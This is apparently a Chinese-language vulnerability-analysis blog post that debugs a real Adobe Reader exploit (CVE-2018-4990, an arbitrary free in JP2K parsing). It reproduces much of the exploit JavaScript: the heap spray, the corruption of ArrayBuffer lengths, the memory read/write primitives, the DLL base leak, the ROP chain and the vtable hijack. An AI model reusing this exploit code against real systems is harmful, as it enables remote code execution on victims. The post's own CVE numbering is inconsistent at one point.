漏洞描述

CVE-2018-4490是Adobe在2018年5月修复的一个Adobe Reader DC的0 day漏洞(官方通告为Double Free漏洞,实际为任意地址释放),改漏洞配合Win32k提权漏洞CVE-2018-8120一起使用实现沙箱逃逸,实现任意代码执行。

受影响版本:Adobe Acrobat and Reader versions 2018.011.20038 and earlier, 2017.011.30079 and earlier, and 2015.006.30417 and earlier

环境搭建

样本:HASH:bd23ad33accef14684d42c32769092a

Windows7 SP1 x86,Windbgx86

Adobe Acrobat Reader Pro DC 2018.011.20035,JP2Klib.lib版本为1.2.2.39492

这里在Windows7 SP1 X64,Windows10 2004中均可以进行调试,在Windows10中调试时需要注意内存地址0d0e0048可能被占用,需要在安全中心关闭 “验证堆完整性”。

漏洞利用代码分析

使用PDFStramDumper打开漏洞样本,在最后发现了漏洞利用的JS代码

image-20200701122037781

首先我们来看一下调用fun1之前的部分,前面的dlldata是漏洞触发之后运行的载荷,用于提权等操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var spraylen  = 0x10000-24;
var spraynum = 0x1000;
var spraybase = 0x0d0e0048;
var spraypos = 0x0d0f0058;
var sprayarr = new Array(spraynum);
var step = 0;
var myarray;
var myarraybase;
var mydv;
var mypos;
var l1 = 0x3000;
var a1 = new Array(l1);
for(var i1=1;i1<l1;i1++)
{
a1[i1] = new Uint32Array(252);
a1[i1][249] = spraybase;
a1[i1][250] = spraybase+0x10000;
}
for(var i1=1;i1<spraynum;i1++)
{
sprayarr[i1] = new Uint32Array(1);
}
for(var i1=1;i1<spraynum;i1++)
{
sprayarr[i1] = new ArrayBuffer(spraylen);
}
for(var i1=1;i1<(l1);i1=i1+2)
{
delete a1[i1];
a1[i1] = null;
}
var sprayarr2 = new Array(0x100);
//app.alert(1);
var sto1 = app.setTimeOut("myfun1()",3500);

在调用myfun1函数之前,构造了a1sprayarr两个ArrayNuffer,通过堆喷进行了内存布局,这里需要注意的是sprayarr赋值完毕之后对a1进行了间隔释放,构造出了内存空洞。

完成内存部署之后调用了myfun1,myfun2函数,推测触发漏洞的是var f1 = this.getField("Button1");,因为执行完毕之后重新申请一块大小为0x2000-24大小的ArrayBuffer之后,sprayarr中某一个堆块的长度发生了改变,有原来的0x1000增加为了0x2000

image-20200701123307460

由于sprayarr中某一个堆块的大小增加,变为两倍,因此可以修改相邻的堆块的大小(之前sprayarr是连续申请的内存区域),从脚本中可以看出,其将sprayarr的相邻堆块的大小改为了0x66666666大小,攻击者即可以通过该超长的堆块对全局内存进行读写(myread和mywrite为全局读写函数)。泄露dll库的基址之后,通过伪造bookMarkRoot对象执行rop和载荷。

漏洞调试分析

数据结构分析

Windows中每一个堆块的前面都有8字节的HEAP_ENTRY结构体用于堆的管理。

Array

漏洞样本中用到了两个对象一个是Uint32Array,一个是ArrayBuffer,我们先来观察一下这两个对象。在app.alert(1)之后添加下列代码,更改代码的操作可以通过PDFStreamdumper中的updata_current_stream来进行。

1
2
3
4
5
6
7
8
9
10
11
var sprayarr2 = new Array(0x100);

var viewContent = new Array(20);
viewContent[0] = 0x1a2b3c4d;
viewContent[1] = sprayarr;
viewContent[2] = a1;
viewContent[3] = sprayarr2;


app.alert(1);
var sto1 = app.setTimeOut("myfun1()",3500);

运行样本,在弹窗之后使用Windbg附加到进程中,搜索我们设置的tag

image-20200701131110806

Adobe中的对象的存储是通过Value结构体来保存的,除了double和超过32位的整数之外,其他的结构均为高四字节保存类型,低4字节保存值或者实际对象的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
JS_ENUM_HEADER(JSValueType, uint8_t)
{
JSVAL_TYPE_DOUBLE = 0x00,
JSVAL_TYPE_INT32 = 0x01,
JSVAL_TYPE_UNDEFINED = 0x02,
JSVAL_TYPE_BOOLEAN = 0x03,
JSVAL_TYPE_MAGIC = 0x04,
JSVAL_TYPE_STRING = 0x05,
JSVAL_TYPE_NULL = 0x06,
JSVAL_TYPE_OBJECT = 0x07,
/* These never appear in a jsval; they are only provided as an out-of-band value. */
JSVAL_TYPE_UNKNOWN = 0x20,
JSVAL_TYPE_MISSING = 0x21
} JS_ENUM_FOOTER(JSValueType);

我们对应viewContent[0]的类型中的0xffffff81中的1即表示JSVAL_TYPE_INT32类型,同样剩下的三个均为数组因此类型值均为0xffffff87中的0x7。我们看一下sprayarr数组

image-20200701134351149

我们发现每一个Array对象通过一个0x28大小的结构来存储,其中偏移0xc的位置存储了指向Array内容的指针,偏移0x2c的位置存储了整个Array的大小。

image-20200701135701701

我们查看sprayarr中存储内容的时候发现,Array.buffer的内容的起始地址之前应该还存在0x10字节的内容,通过分析得到0x4偏移处存储的是Array.buffer中使用的空间的大小,而0xc偏移处标记的是Array.buffer的整体大小。因此Array.buffer的对象的数据结构如下

image-20200701172951861

ArrayBuffer

接下来我们通过sparyarr中的元素看一下ArrayBuffer对象,每一个ArrayBuffer对象占用0x7a9e4b8-0x7a9e420=0x98大小的空间,其中偏移0xc的位置存储了指向ArrayBuffer.buffer的数据指针。

image-20200701173935393

Array.buffer的数据结构相同,ArrayBuffer.buffer结构中也存在0x10大小的头部,其中偏移0x4的位置中存储了用户请求的大小,这里申请的大小为0x10000-24=0xffe8。注意到此时的ArrayBuffer.buffer的堆块大小已经是0x10000大小了。ArrayBuffer的数据结构如下

image-20200701174621188

我们看一下HEAP_ENTRY的结构

image-20200701185100286

HEAP_ENTRY中第一个四字节存储的是该堆块的大小和前一个堆块的大小,低地址的一个WORD存储的是该堆块的大小也就是0x91ed,高地址的一个WORD存储的是前一个堆块的大小也就是0x7b11,但是当前的存储结果(堆块大小=存储值*堆分配粒度 这里是0x91ed*8)与实际的堆块大小0x10000不同,这是因为堆头数据进行了编码。我们可以手动解码

首先找到该堆块所在的堆段

image-20200701185800045

我们查看堆结构HEAP中偏移0x50的内容,也就是表示Encoding部分的内容,(EncodeFlagMask表示是否开启了编码,Encoding字段就是用来编码的,编码方式是将Encoding结构与堆头数据进行XOR)

image-20200701210629321

image-20200701210744748

可以看到我们计算出了该堆块的实际大小为0x10000

Unit32Array

接下来我们看一下a1

image-20200701211340237

执行到此处,对a1中奇数下标的对象的释放已经完成,可以看到a1内存中右侧表示对象指针的数据均为0也就是null。已经形成了内存空洞。由于内存是连续申请的,因此从偶数项的内存差值来看,每一个Unit32Array对象的大小为0x58字节

image-20200701212312561

申请的Unit32Array的大小为252,也就是0xfc,从三个相邻的Unit32Array结构来看(第二个已经被释放),其偏移0x20位置存储的是byteLength即以字为单位的大小,而偏移0x40的位置存储的是申请的大小,偏移0x50的位置存储的是Unit32Array.buffer的指针,和前两个数据结构一样,该buffer前面也存在0x10大小的头部

image-20200701213858854

头部中偏移0x4的位置存储的是byteLength,偏移0x8的位置存储的是指向Unit32Array结构体的指针。此时我们也可以看到攻击者提前写入的两个堆块指针。因此Unit32Array结构体如下所示

image-20200701214910049

从后面的对Unit32Array的分析中我们可以得知,其前8字节存储的两个内存指针分别指向上一层结构体和该结构体全局变量地址存储的地址,该全局变量中存储了一些函数指针,推测为结构体相关的虚函数表。

image-20200702174520273

调试分析

漏洞代码定位

首先开启全页堆(对堆漏洞的调试有很大的帮助),定位漏洞触发点。gflags

1
2
gflags -p /enable Acrobat.exe /full
gflags -p /enable AcroCEF.exe /full

应用程序验证器提供了页堆(PageHeap)机制进行堆破坏的跟踪。页堆机制分为两种一种是普通页堆(Normal PageHeap),一种是全页堆(Full PageHeap)。

  • 普通堆块和页堆块的差别是增加了页堆元数据。同时我们可以从下图中看到页堆可以通过填充模式来检测堆破坏。

    image-20200627225154173

    可以通过_DPH_BLOCK_INFORMATION来查看页堆元数据的具体内容,比较有用的是0x18位置的栈回溯,可以方便调试者快速定位异常函数

    image-20200627223201200

  • 全页堆则是在每一个堆块的前后均增加一个不可访问的内存页(防护页),用来检测堆的上溢和下溢

    image-20200627224747141

程序运行崩溃之后栈回溯情况如下

image-20200627222351927

我们可以看到发生访问违例发生在堆管理器中,程序正在尝试释放堆块,这很有可能是发生了堆破坏。我们注意到释放的堆地址为0xd0d0d0d0。这个地址比较特殊,因为这是在开启全页堆之后堆块的后置填充区的填充内容。因此可能发生了堆内存的越界访问。

image-20200628120641702

我们看到调用释放内存的函数是JP2KLib!JP2KCopyRect+0xbae6,在IDA中看一下此处位置的代码逻辑。

image-20200628121347978

可以看到这是一个循环释放内存的过程,sub_10066FEA函数即调用了free函数。将代码整理一下可以得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// base = *(*(v112 + 0x48) + 0xc)
// max_count = *(*(v112 + 0x48) + 4)
if ( *(v113 + 0xc) )
{
count = 0;
if ( *(v113 + 4) > 0 )
{
do
{
if (*(base + 4 * count))
{
free(*(base + 4 * count));
*(base + 4 * count) = 0;
}
count++;
}
while ( count < max_count );
}
free(*(base));
}

do,while循环的逻辑如下

image-20200628123642424

逻辑很清晰了,base是一个堆块地址的数组,在这个循环中依次释放数组中保存的堆块地址。在windbg中看一下运行过程。关闭全页堆,设置延迟求解的断点

1
2
3
4
5
sxe ld JP2KLIB
g
bu JP2KLib+50588 "dd eax+4 l1; g;"//获取max_count的值
bu JP2KLib+50567 "r eax; r ecx; g;"//获取base和当前的count
bu JP2KLib+5056e "r eax; g;"//获取将要释放的堆块指针

结果如下

image-20200629103134737

max_count的值为0xff,我们发现只有在最后释放了两个堆块0x0d0e0048,0x0d0f0048,而这个两个地址是存在于漏洞利用代码中的。接下来我们分析一下为什么会释放这两个地址的堆块。

1
bu JP2KLib+50567 "r eax; r ecx; .if(ecx>=fd){}.else{g;};"//获取base和当前的count

image-20200629103636023

eax即表示的是base的值即堆块数组的起始地址,而base被分配的大小是0x3f4也就是while循环可以遍历0-0x3f4之间的内容,而这里max_count的最大值为0xffwhile循环可以遍历到0-0xff*40-0x3fc之间的内容,因此会越界访问两个内存指针,也就是8字节的内容。

image-20200629104232347

而这两个地址恰好是攻击者精心布局之后的地址。

image-20200629104428253

恶意JP2K

那么这个eax指向的内存是怎么分配出来的呢,通过IDA的追踪我们发现eax指向的内存来自函数sub_10066EFD,这里将分配得到的内存记为base

image-20200629113605062

进入到函数中,我们发现其返回值来自于一个函数指针的调用

image-20200629113708137

对应的汇编指令如下

image-20200629113825493

这里是一个间接函数调用,通过调试发现似乎所有的内存申请都是通过该间接调用来完成的。为了找到0x3f40xff的数据来源,我们通过在base+0x48*(base+0x48)+0xc处下内存断点,找到相关的函数。首先在该函数处(4F692)下断点,得到分配的内存地址之后,在偏移0x48的位置下内存断点。找到base+0x48偏移位置分配内存的函数。也可以开启UST (gflags /i Acrobat.exe +ust)通过分析!heap -p -a alloc_heap_address产生的StackTrace来完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> u 5f0612b5 l20
JP2KLib!JP2KCodeStm::write+0x17db5:
5f0612b5 3b5dfc cmp ebx,dword ptr [ebp-4]
5f0612b8 0f8259090000 jb JP2KLib!JP2KCodeStm::write+0x18717 (5f061c17)
5f0612be 8bd9 mov ebx,ecx
5f0612c0 c1eb02 shr ebx,2
5f0612c3 6a04 push 4
5f0612c5 53 push ebx
5f0612c6 e8325c0200 call JP2KLib!JP2KTileGeometryRegionIsTile+0xcb (5f086efd)
5f0612cb 837f4800 cmp dword ptr [edi+48h],0
5f0612cf 59 pop ecx
5f0612d0 59 pop ecx
5f0612d1 8945f8 mov dword ptr [ebp-8],eax
5f0612d4 7516 jne JP2KLib!JP2KCodeStm::write+0x17dec (5f0612ec)
5f0612d6 6a01 push 1
5f0612d8 6a20 push 20h
5f0612da e81e5c0200 call JP2KLib!JP2KTileGeometryRegionIsTile+0xcb (5f086efd)
5f0612df 894748 mov dword ptr [edi+48h],eax

image-20200703103610816

这里看到分配了两个空间大小,分配空间的函数是sub10066EFD,该函数有两个参数,第一个参数是空间的大小。首先是第一个分配,可以看到空间大小的参数来自于ebxebx的数值来源于ecx/4,向上回溯可以看到ecx的值来自于ebp-0x10位置的值,大小为0x3f4

image-20200703104202688

即最终调用10066EFD(0xfd, 4),返回的内存大小是

image-20200703104409984

随后将分配的内存地址保存在ebp-0x8的位置,接下来分配了0x20大小的内存空间,将地址保存在了base+0x48的位置,对*(base+0x48)+0xc的位置下内存断点,可以找到内存分配的位置

image-20200703104901273

我们可以看到该位置的内存就是保存在ebp-0x8位置的内存地址

image-20200703105035059

那么0x3f4是怎么来的呢,我们继续向上回溯,发现该值来自于ebp-0x14ebp-0x4之间的差值

image-20200703110256510

而两个位置的变量的值来自于函数3FD93,我们看一下函数

image-20200703110548086

a1也就是ebp-0x14处的值来自于函数1000B31Ba3=8或者a3=16,最终调试之后发现a3=8。我们看一下函数1000B21A

image-20200703111352191

可以看到返回值来自于esi+0x10的取值。在调用函数40DF0处下断点,之后在1003FDB2处下断点,这个时候调用B31B函数就会返回0x3fc,我们跟进调试一下。B31B函数根据传递的参数决定读取的字节数(4),将所有的数值相加即得到最终的返回结果。从B21A函数的反汇编代码来看,函数的返回值主要是读取的*(*(esi+0x10))处存储的一个字节的值。

image-20200703125544101

从多次调试的结果来看,esi指向的是一个JP2k的对象,偏移0xc的位置存储了图片文件数据的起始地址,偏移0x10的位置存储了当前读取的位置,偏移0x14存储了文件结束的位置,偏移0x1c处存储了已经读取的数据的大小。

image-20200703125847368

最终读取了文件偏移0x2a-0x2d处的四字节。那么最终申请的内存空间的大小即0x3fc-0x8=0x3f4

接下来看一下0xff是怎么获取的。在*(base+0x48)+0xc处下内存断点,找到赋值的代码段。

image-20200703132145988

我们可以看到0xff的数值来自于esi+0x18处存储的一个字节,从上面对于B21A函数的分析来看,esi+0x18处存储的数据是*(*(esi+0x10))处的数据,也就是JP2K文件中的数据。这里推测是由于pclr之后应该仍然存在数据,强行截断之后造成越界读取。

image-20200703132715866

到这里就知道了造成越界释放两个内存指针的数据0x3f4,0xff均来自于攻击者精心构造的恶意数据。

这里需要注意的是PdfStreamDumper好像无法观察到JP2K图片的二进制数据。

重用已经释放的内存

我们在内存释放的位置下断点

断点断在越界访问释放内存的位置

1
bu JPKLIB+5056E

image-20200629143253608

此时两个堆块都处于占用状态,每一个堆块的大小为0x2000*8=0x10000(该堆段的分配粒度为8bytes,!heap 440000 -v),接下来释放第一个堆块0x0d0e0048

image-20200629144257889

释放第二个堆块0x0d0f0048

image-20200629144417026

我们发现两个堆块发生了合并,合并后的大小为0x20000。在fun1函数中0x200数组的申请可能是为了消耗内存使得脚本申请的内存空间落在a1数组中。

1
var f1 = this.getField("Button1");//导致任意地址释放的漏洞触发脚本

这里其实我们可以发现分配给eax的内存恰好是a1中存在的某个hole (重启调试,分配的内存值改变0x7bcda10)

image-20200701230052084

通过下面的代码将上述0x20000的堆块进行重用。

1
2
3
4
for(var i1=1;i1<0x40;i1++)
{
sprayarr2[i1] = new ArrayBuffer(0x20000-24);
}

image-20200701231405675

看到sprayarr数组的第一个元素就重用了堆块。这里之所以是0x0d0e0058,是因为其要减去0x10Buffer头,再减去0x8的HeapEntry。此时释放前0x0d0e0048,0d0f0048分别代表一个长度为0x1000-24大小的ArrayBuffer,在UAF之后变成了一个代表长度为0x20000-24大小的ArrayBuffer。从代码中可以得到此时sprayaar数组中的某一个ArrayBuffer(0x0d0e0048)已经被修改为了0x2000-24,长度改变之后就可以通过该ArrayBuffer越界访问修改临近的ArrayBuffer(0x0d0f0048)的长度为0x66666666,实现全局内存的读写。

image-20200629151809292

image-20200701220044712

泄露Escript.api基址

接下来我们观察一下后续代码的执行。我们对viewContent中的设置如下

1
2
3
4
5
6
7
8
9
viewContent[0] = 0x12345678;
viewContent[1] = sprayarr;
viewContent[2] = a1;
viewContent[3] = sprayarr2;
viewContent[4] = sprayarr2;
viewContent[5] = i1;
viewContent[6] = arr1;
viewContent[7] = i2;
viewContent[8] = itmp;

内存中的值如下

image-20200702155847408

在获得全局读写能力之后,攻击者尝试获取动态链接库的地址,我们看一下地址的获取过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var arr1 = new Array(0x10000);
for(var i2=0x10;i2<0x10000;i2++)
arr1[i2] = new Uint32Array(1);
for(var i2 = 1;i2<0x10;i2++)
{
arr1[i2] = new Uint32Array(sprayarr[i1+i2]);
arr1[i2][0] = i2;
}
for(var i2=0x30000;i2<0x10000*0x10;i2=i2+4)
{
if( biga.getUint32(i2,true)==spraylen && biga.getUint32(i2+4,true) > spraypos )
{
mydv = biga;
var itmp = mydv.getUint32(i2+12,true);
myarray = arr1[itmp];
mypos = biga.getUint32(i2+4,true) - spraypos +0x50;
mydv.setUint32(mypos-0x10,0x100000,true);
myarraybase = mydv.getUint32(mypos,true);
var rop1 = [0x6b78845b,0x6b78845b,0x6b78845a,0x6b7d7084,0x6b651767,0x6b64230d,myarraybase,0x6b65ecaf,0x6b663a4b,myarraybase,0x00010201,0x00001000,0x00000040,0xcccccccc,0x41414141];
var obj1 = myread(myarraybase-8);
var obj2 = myread(obj1+4);
var obj3 = myread(obj2);
var dll_base = (myread(obj3+8)-0x00010000 )&0xffff0000;
...
}
}

首先,创建了一个arr1Array对象,将sprayarr[i]之后的内存块创建Unit32Array对象,设置第一个元素为索引值。这里的i1就是sprayarr0x0d0f0048的索引值。从0d0f0058开始偏移0x30000的内存地址开始查找两个值,这里其实就是从sprayarr[i+3]的位置开始查找,最终查找到的偏移值是0x3fff4

image-20200702164953395

发现最终符合要求的是0d0f0048之后的低四个堆块,由于是一个Unit32Array.buffer结构,因此我们可以得到一个指向Unit32Array结构的指针。 mydv.setUint32最终修改的是biga.getUint32(i2+4,true) - spraypos +0x50 - 0x10 + mydv.base = 0x1ac97138 - 0x0d0f0058 + 0x50 - 0x10 + 0x0d0f0058Unit32Array偏移0x40位置的值(表示空间大小的变量),可以看到这里已经被改为了0x10000。将Unit32Array.buffer的指针赋值给myarraybase

image-20200702170721837

ida中我们可以得知0x65a83f5c是全局变量存储的位置,该位置存储了一些函数指针(推测应该是结构体相关的方法函数指针),通过这些函数指针即可以推算出Escript.api的加载基址。这里通过分析,我们可以得知Unit32Array数据结构中的前8字节存储的两个指针,第一个指针指向的是其上一层的数据结构(以a1为例,即Array数据结构)的虚函数表,第二个函数指针则指向该结构的虚函数表。

image-20200702173246575

劫持程序流,ROP执行载荷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var bkm = this.bookmarkRoot;		
var objescript = 0x23A59BA4-0x23800000 + dll_base;
objescript = myread(objescript); //获取0x23A59BA4处的全局变量值
for(var i2=0;i2< rop1.length ;i2=i2+1)
{
myarray[i2+3] = rop1[i2] > 0x6b640000 ?(rop1[i2] - 0x6b640000 +dll_base):rop1[i2];
}
myarray[i2+3-2] = 0x90909090;
for(var i3=0;i3< dlldata.length ;i3=i3+1)
{
myarray[i2+3+i3] = dlldata[i3];
}
mywrite(objescript, 0x6b707d06-0x6b640000+dll_base);
mywrite(objescript+4,myarraybase);
mywrite(objescript+0x598,0x6b68389f-0x6b640000+dll_base);
bkm.execute();
break;

myarray的值是0x0d0f0058。也就是攻击者将rop和载荷写入到了0d0f0058内存空间中,rop和载荷之间存在着滑板指令。攻击者更改了虚函数表中的内容(这里通过截断初始代码构造出pop esp)

image-20200702181930219

0x6b68389f-0x6b640000+dll_base代码内容为(这里重启调试,基址改变69de0000 )

image-20200702183636563

我们在rop的第一条指令,0x6b707d06-0x6b640000+dll_base0x6b68389f-0x6b640000+dll_base分别下断点。对objescript指向的内存位置下内存访问断点。

image-20200702184608976

函数断在了objescript+0x598的代码调用处,也就是在执行的之后对象会调用虚函数表中偏移0x598位置的函数。注意到这里的eax值即为objescript的值。

image-20200702202911620

IDA中查看69e325d3部分的代码

image-20200702203042296

发生调用的是一个间接调用,我们对返回值69e325d3下断点

image-20200702203129530

发现其真正调用的函数是69e6eed4,我们看一下这个函数,在该函数中我们发现了明显的劫持程序流的代码部分

image-20200702203254745

首先将虚表指针赋值到eax中,接着调用偏移0x598处的函数,也就劫持了程序流。寄存器交换之后即可以重定向程序流到代码0x6b707d06-0x6b640000+dll_base位置,代码中仍然存在pop esp进一步改变程序流到ROP的第二个指令0x6b78845b,0x6b78845a...最终执行载荷。

总结

漏洞触发和利用的流程如下

  1. 通过两个Array对象a1sprayarr创建大量的Unit32Array(buffer大小为0x3f0,堆块可用空间0x400)和ArrayBuffer(buffer大小为0xffe8,堆块可用空间0xfff8)对象,将Unit32Array中的249250中的元素设置为选定的内存地址(这里攻击者选定的是0x0d0e0048,0x0d0f0048)。
  2. a1中的Unit32Array进行间隔释放,造成内存空洞,便于之后对JP2K文件解析时申请的内存落到a1数组范围中。
  3. 调用漏洞触发脚本,通过加载特定的JP2K图片,特定的大小使得分配的内存(大小为0x3f4)落到之前a1释放的某一个Unit32Array.buffer的内存空间中,而0xff使得函数越界释放两个内存指针。这两个内存指针是a1中提前布局好的位于偏移0x3f4,0x3f8位置的脏数据(0x0d0e0040,0d0f0048指针)。两个堆块释放之后合并,堆块大小为0x20000,可用空间0x1fff8。注意到此时sprayarr数组中仍然存在指向0x0d0e0040,0d0f0048内存空间的指针
  4. 通过sprayarr2数组分配0x20000大小的堆块(ArrayBuffer),对上述合并的堆块进行重用。一旦分配成功sprayarr0d0e0048ArrayBuffer.buffer中长度就会被改为0x1ffe8,此时既可以通过该buffer访问0d0e0058-0d100040。通过对该常长的buffer修改临近的堆块0d0f0048中的长度为0x66666666,此时即可通过0d0f0048表示的ArrayBuffer.buffer访问全局内存。
  5. 由于Unit32Array.buffer结构体中存在指向父结构Unit32Array的指针,且Unit32Array等结构体中存在指向相关虚函数表的内存指针,因此将sprayarr0d0f0048之后的buffer重新定义为Unit32Array结构体,找到相关的虚函数表泄露Escript.api库的基址
  6. 伪造bookMarkRoot对象,覆盖execute中执行的某个虚表指针为ROP地址(xchg eax,ebp),对选自Escript.api库中的ROP地址进行重定位,将ROP和载荷写入到已知地址的地址空间中,通过两次ebp更改执行流,最终执行ROP和载荷。

补充

攻击者为什么可以确定堆喷之后0d0e0048就是一个ArrayBuffer.buffer的起始位置。申请如此巨大的内存的时候,堆管理器一定会commit一块大的堆段,堆段的起始位置的后四位一定为0,而堆段需要一个0x40大小的HEAP_SEGMENT结构进行管理,因此分配的堆块的起始地址为xxxx0040ArrayBuffer.buffer申请的大小为0x10000-24,但是实际分配的堆块的大小为0x10000字节,因此后续分配的堆块都将遵循xxxx0040的格式,选择其中相邻的两个即可。

image-20200703170403386

参考

PDF调试技巧剖析

Windbg新手入坑指南

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析

对CVE-2018-4990漏洞的补充分析

CVE-2018-4990漏洞调试分析记录

CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析

Adobe, Me and an Arbitrary Free :: Analyzing the CVE-2018-4990 Zero-Day Exploit